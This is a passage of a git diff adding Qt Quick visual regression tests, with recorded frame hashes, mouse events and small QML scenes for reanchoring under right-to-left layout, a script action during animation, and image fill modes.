+ msec: 3888
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3904
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3920
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3936
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3952
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3968
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3984
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4000
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4016
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4032
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4048
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4064
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4080
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4096
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4112
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4128
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4144
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4160
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4176
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 124; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4192
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4208
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4224
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4240
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4256
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 124; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4272
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 4288
+ hash: "81b8228c6aeefe8072b7704f11e6707e"
+ }
+ Frame {
+ msec: 4304
+ hash: "617e416bf117a51b756c90321ebb1449"
+ }
+ Frame {
+ msec: 4320
+ hash: "656d8d5d54c9ee137aceb519aff72cce"
+ }
+ Frame {
+ msec: 4336
+ hash: "94ba3b6f558c010cdd32f54cce436388"
+ }
+ Frame {
+ msec: 4352
+ hash: "5b0679ff3730cba4ac026e89c7811fbe"
+ }
+ Frame {
+ msec: 4368
+ hash: "0bc822fdd4caac17aab80e8601d3a523"
+ }
+ Frame {
+ msec: 4384
+ hash: "886d0407ac76d7344f7a314f07b3efff"
+ }
+ Frame {
+ msec: 4400
+ hash: "eb6c46af5037f24348edbe0dda48fb62"
+ }
+ Frame {
+ msec: 4416
+ hash: "1c578a1eeb67c6833241bcb3214f06fb"
+ }
+ Frame {
+ msec: 4432
+ hash: "55f1631ef567217a5945b2a23c59b549"
+ }
+ Frame {
+ msec: 4448
+ hash: "25fdd4d54ddb035b082dc3a0d0816114"
+ }
+ Frame {
+ msec: 4464
+ hash: "295ea6ff4d3c2c7de0cfbc29b2bd2c38"
+ }
+ Frame {
+ msec: 4480
+ hash: "26b978ab645c04731703bcf15ac34a11"
+ }
+ Frame {
+ msec: 4496
+ hash: "0db4c2515b89506df51732c4b9bf75dc"
+ }
+ Frame {
+ msec: 4512
+ hash: "3cf30f3a06e325e195a4a7dec1e04c01"
+ }
+ Frame {
+ msec: 4528
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4544
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4560
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4576
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4592
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4608
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4624
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4640
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4656
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4672
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4688
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4704
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4720
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4736
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4752
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4768
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4784
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4800
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4816
+ image: "reanchor.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4848
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4864
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4880
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4896
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4912
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4928
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4944
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4960
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4976
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 4992
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5008
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5024
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5040
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5056
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5072
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5088
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5104
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5120
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5136
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5152
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5168
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5184
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5200
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5216
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5232
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5248
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5264
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5280
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5296
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5312
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5328
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5344
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5360
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5376
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5392
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5408
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5424
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5440
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5456
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5472
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5488
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5504
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5520
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5536
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5552
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5568
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 5584
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/reanchor.qml b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/reanchor.qml
new file mode 100644
index 00000000..ba377370
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/reanchor.qml
@@ -0,0 +1,69 @@
+import QtQuick 1.1
+
+Rectangle {
+ id: container
+ width: 200; height: 200
+ Rectangle {
+ id: myRect
+ anchors.layoutDirection: Qt.RightToLeft
+ objectName: "MyRect"
+ color: "green";
+ anchors.left: parent.left
+ anchors.right: rightGuideline.left
+ anchors.top: topGuideline.top
+ anchors.bottom: container.bottom
+ }
+ Item { id: leftGuideline; x: 10 }
+ Item { id: rightGuideline; x: 150 }
+ Item { id: topGuideline; y: 10 }
+ Item { id: bottomGuideline; y: 150 }
+ Item { id: topGuideline2; y: 50 }
+ Item { id: bottomGuideline2; y: 175 }
+ MouseArea {
+ id: wholeArea
+ anchors.fill: parent
+ onClicked: {
+ if (container.state == "") {
+ container.state = "reanchored";
+ } else if (container.state == "reanchored") {
+ container.state = "reanchored2";
+ } else if (container.state == "reanchored2")
+ container.state = "reanchored";
+ }
+ }
+
+ states: [ State {
+ name: "reanchored"
+ AnchorChanges {
+ target: myRect;
+ anchors.left: leftGuideline.left
+ anchors.right: container.right
+ anchors.top: container.top
+ anchors.bottom: bottomGuideline.bottom
+ }
+ }, State {
+ name: "reanchored2"
+ AnchorChanges {
+ target: myRect;
+ anchors.left: undefined
+ anchors.right: undefined
+ anchors.top: topGuideline2.top
+ anchors.bottom: bottomGuideline2.bottom
+ }
+ }]
+
+ transitions: Transition {
+ AnchorAnimation { }
+ }
+
+ MouseArea {
+ width: 50; height: 50
+ anchors.right: parent.right
+ anchors.bottom: parent.bottom
+ onClicked: {
+ container.state = "";
+ }
+ }
+
+ state: "reanchored"
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.0.png b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.0.png
new file mode 100644
index 00000000..5bf32dda
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.1.png b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.1.png
new file mode 100644
index 00000000..e7571f24
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.2.png b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.2.png
new file mode 100644
index 00000000..60d09e92
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.qml b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.qml
new file mode 100644
index 00000000..f93458dc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/scriptAction/data/scriptAction-visual.qml
@@ -0,0 +1,515 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "scriptAction-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 48
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 64
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 80
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 96
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 112
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 128
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 144
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 160
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 176
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 192
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 208
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 224
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 240
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 256
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 272
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 288
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 304
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 320
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 336
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 352
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 368
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 384
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 400
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 416
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 432
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 448
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 54; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 464
+ hash: "c5d2b291578c11c11452c29dc02bcad9"
+ }
+ Frame {
+ msec: 480
+ hash: "650770d62a63031754b3c68f666a5805"
+ }
+ Frame {
+ msec: 496
+ hash: "eb28945becabee0dffe618632d4db061"
+ }
+ Frame {
+ msec: 512
+ hash: "6c7b66dff531723362418dacd23ea59e"
+ }
+ Frame {
+ msec: 528
+ hash: "093bd3dd02a6d9f4dbd75a329bbf63f5"
+ }
+ Frame {
+ msec: 544
+ hash: "5328b1f3932c8bf817a5031102e21c25"
+ }
+ Frame {
+ msec: 560
+ hash: "ee2b8dc4ebdaaed41ae820385f56db83"
+ }
+ Frame {
+ msec: 576
+ hash: "adf71c703dff4514d6ae247fd6b89030"
+ }
+ Frame {
+ msec: 592
+ hash: "c93d78e604406a3c61c2b34e5e0893a4"
+ }
+ Frame {
+ msec: 608
+ hash: "c91dbb897289d2949d08c6381583ad5e"
+ }
+ Frame {
+ msec: 624
+ hash: "1e3a370e3d390e8d73731d659fae5908"
+ }
+ Frame {
+ msec: 640
+ hash: "e6d3505120260677f5f1355abf0f2b1d"
+ }
+ Frame {
+ msec: 656
+ hash: "251d68b91b37ef95ff61055f7b2ba0b5"
+ }
+ Frame {
+ msec: 672
+ hash: "333a25691bafa88fbc92a153886c3b47"
+ }
+ Frame {
+ msec: 688
+ hash: "e63367e5001732975bc4c002c079dbd8"
+ }
+ Frame {
+ msec: 704
+ hash: "04e25f2fd913c38ee24558b52fb3ed37"
+ }
+ Frame {
+ msec: 720
+ hash: "739f155ad3d703fa0255afed51baf51c"
+ }
+ Frame {
+ msec: 736
+ hash: "739f155ad3d703fa0255afed51baf51c"
+ }
+ Frame {
+ msec: 752
+ hash: "16de427e26afa1a1d91541fca1537033"
+ }
+ Frame {
+ msec: 768
+ hash: "11a874ab1c429e1bcf5498808f3c42f7"
+ }
+ Frame {
+ msec: 784
+ hash: "e97f33a71bf889815782c17067bcd736"
+ }
+ Frame {
+ msec: 800
+ hash: "9f2f0728689a5ff76f87b13c92e9fd40"
+ }
+ Frame {
+ msec: 816
+ hash: "9186cd14c3d9f2ad560be047cc483b50"
+ }
+ Frame {
+ msec: 832
+ hash: "af2eb37824ad3567ce9db0329f647d50"
+ }
+ Frame {
+ msec: 848
+ hash: "f09d264ed5f44313c19f2f985a26b9cd"
+ }
+ Frame {
+ msec: 864
+ hash: "3ed8b3051d0d603bd514783fe04124a7"
+ }
+ Frame {
+ msec: 880
+ hash: "38c7f8d39fd9a77400138da4e3ebb963"
+ }
+ Frame {
+ msec: 896
+ hash: "6682f53fdda2d8662a31b725d23b08f6"
+ }
+ Frame {
+ msec: 912
+ hash: "0f16d2640b51c9ada08c7aa0e8853d86"
+ }
+ Frame {
+ msec: 928
+ hash: "22b9025d523dd1adb87f9b4c89295b29"
+ }
+ Frame {
+ msec: 944
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 960
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 976
+ image: "scriptAction-visual.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1008
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1024
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1040
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1056
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1072
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1088
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1104
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1120
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1136
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1152
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1168
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1184
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 54; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1200
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1216
+ hash: "1761f6606bbdf5772594cf96412337ca"
+ }
+ Frame {
+ msec: 1232
+ hash: "77ab7b0bad67c80c5f685b02e264d333"
+ }
+ Frame {
+ msec: 1248
+ hash: "27c3099b0e9f0607e9ebc983b2613eb9"
+ }
+ Frame {
+ msec: 1264
+ hash: "81bd467b2314fb877825323a6120de4a"
+ }
+ Frame {
+ msec: 1280
+ hash: "5cd632ac5399826249137ff2f27ef734"
+ }
+ Frame {
+ msec: 1296
+ hash: "3b6732d7539d7b9b6ac13b6f8291b993"
+ }
+ Frame {
+ msec: 1312
+ hash: "6bde822175f1ee22a8bb0528d6170a5a"
+ }
+ Frame {
+ msec: 1328
+ hash: "a8401f0c19db5c395cf122f3fe6f3be2"
+ }
+ Frame {
+ msec: 1344
+ hash: "10e5126a9f97caf19df3d0ec4485222f"
+ }
+ Frame {
+ msec: 1360
+ hash: "f7b0bde6f4c9e9c9aecdbf11f0ec525c"
+ }
+ Frame {
+ msec: 1376
+ hash: "7501da757e6b0ba3923635765ef63f5b"
+ }
+ Frame {
+ msec: 1392
+ hash: "c66f5f30f7a545fcf0b52debd68d96c1"
+ }
+ Frame {
+ msec: 1408
+ hash: "ea679c31fd51733076716a325d2d4dc1"
+ }
+ Frame {
+ msec: 1424
+ hash: "01ffc159e0d0796e4de7cffd46685481"
+ }
+ Frame {
+ msec: 1440
+ hash: "c53b75720a772a43a6c7d046ffb4d39b"
+ }
+ Frame {
+ msec: 1456
+ hash: "1338c0458f32869e35163a2dcb950b8e"
+ }
+ Frame {
+ msec: 1472
+ hash: "1338c0458f32869e35163a2dcb950b8e"
+ }
+ Frame {
+ msec: 1488
+ hash: "d894739536bb7033d321f8862264b5e6"
+ }
+ Frame {
+ msec: 1504
+ hash: "52d5556f4b2404ae896ae36e0bc866ed"
+ }
+ Frame {
+ msec: 1520
+ hash: "5ff9d9ab8099b2b9469df9efe672f46d"
+ }
+ Frame {
+ msec: 1536
+ hash: "acadb950bd78c6fade9161f8e53628e7"
+ }
+ Frame {
+ msec: 1552
+ hash: "7583b99a5f3aede70fc10728d77f57cc"
+ }
+ Frame {
+ msec: 1568
+ hash: "f72881eb92792727985482996bf689f9"
+ }
+ Frame {
+ msec: 1584
+ hash: "26e0d64d5afeecdc4d93492f1eaaa54f"
+ }
+ Frame {
+ msec: 1600
+ hash: "93206a830cf787d00a6bb2d3c91d40bc"
+ }
+ Frame {
+ msec: 1616
+ hash: "af0a99b072a754cd0ecb75a7198849c1"
+ }
+ Frame {
+ msec: 1632
+ hash: "84adc92e299feeb494b108a009d1b662"
+ }
+ Frame {
+ msec: 1648
+ hash: "4fac6d471517625d4f5ce6ed6aaebe0b"
+ }
+ Frame {
+ msec: 1664
+ hash: "6952c27025740aca006a13da87379f9f"
+ }
+ Frame {
+ msec: 1680
+ hash: "3297ed7bffb48a4f2ca90dd81eaf7c7a"
+ }
+ Frame {
+ msec: 1696
+ hash: "3297ed7bffb48a4f2ca90dd81eaf7c7a"
+ }
+ Frame {
+ msec: 1712
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1728
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1744
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1760
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1776
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1792
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1808
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1824
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1840
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1856
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1872
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1888
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1904
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1920
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1936
+ image: "scriptAction-visual.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+ Frame {
+ msec: 1968
+ hash: "6741d853f099a5a98fcdf87053b69ec8"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction-visual.qml b/tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction-visual.qml
new file mode 100644
index 00000000..0a14542a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/scriptAction/scriptAction-visual.qml
@@ -0,0 +1,40 @@
+import QtQuick 1.0
+
+/*
+This test starts with a red rectangle at 0,0. It should animate moving 50 pixels right,
+then immediately change blue, and then animate moving 50 pixels down.
+*/
+
+Rectangle {
+ width: 100; height: 100
+ Rectangle {
+ id: myRect
+ width: 50; height: 50
+ color: "red"
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ states: State {
+ name: "state1"
+ when: clickable.pressed
+ PropertyChanges {
+ target: myRect
+ x: 50; y: 50
+ }
+ StateChangeScript {
+ name: "setColor"
+ script: myRect.color = "blue"
+ }
+ }
+
+ transitions: Transition {
+ SequentialAnimation {
+ NumberAnimation { properties: "x"; easing.type: "InOutQuad" }
+ ScriptAction { scriptName: "setColor" }
+ NumberAnimation { properties: "y"; easing.type: "InOutQuad" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.png b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.png
new file mode 100644
index 00000000..52fd55c3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml
new file mode 100644
index 00000000..b1871ce4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/fillmode/data/fillmode.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "fillmode.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/fillmode/face.png b/tests/auto/declarative/qmlvisual/fillmode/face.png
new file mode 100644
index 00000000..e0873168
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/fillmode/face.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/fillmode/fillmode.qml b/tests/auto/declarative/qmlvisual/fillmode/fillmode.qml
new file mode 100644
index 00000000..b2ecfee4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/fillmode/fillmode.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+/*
+ This is a static display test of the various Image fill modes. See the png file in the data
+ subdirectory to see what the image should look like.
+*/
+
+Rectangle {
+ id: screen; width: 360; height: 200; color: "gray"
+ property string source: "face.png"
+
+ Grid {
+ columns: 3
+ Image { width: 120; height: 100; source: screen.source; fillMode: Image.Stretch }
+ Image { width: 120; height: 100; source: screen.source; fillMode: Image.PreserveAspectFit; smooth: true }
+ Image { width: 120; height: 100; source: screen.source; fillMode: Image.PreserveAspectCrop }
+ Image { width: 120; height: 100; source: screen.source; fillMode: Image.Tile; smooth: true }
+ Image { width: 120; height: 100; source: screen.source; fillMode: Image.TileHorizontally }
+ Image { width: 120; height: 100; source: screen.source; fillMode: Image.TileVertically }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.0.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.0.png
new file mode 100644
index 00000000..fd28a931
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test.1.png b/tests/auto/declarative/qmlvisual/focusscope/data/test.1.png
new file mode 100644
index 00000000..986a1646
--- /dev/null
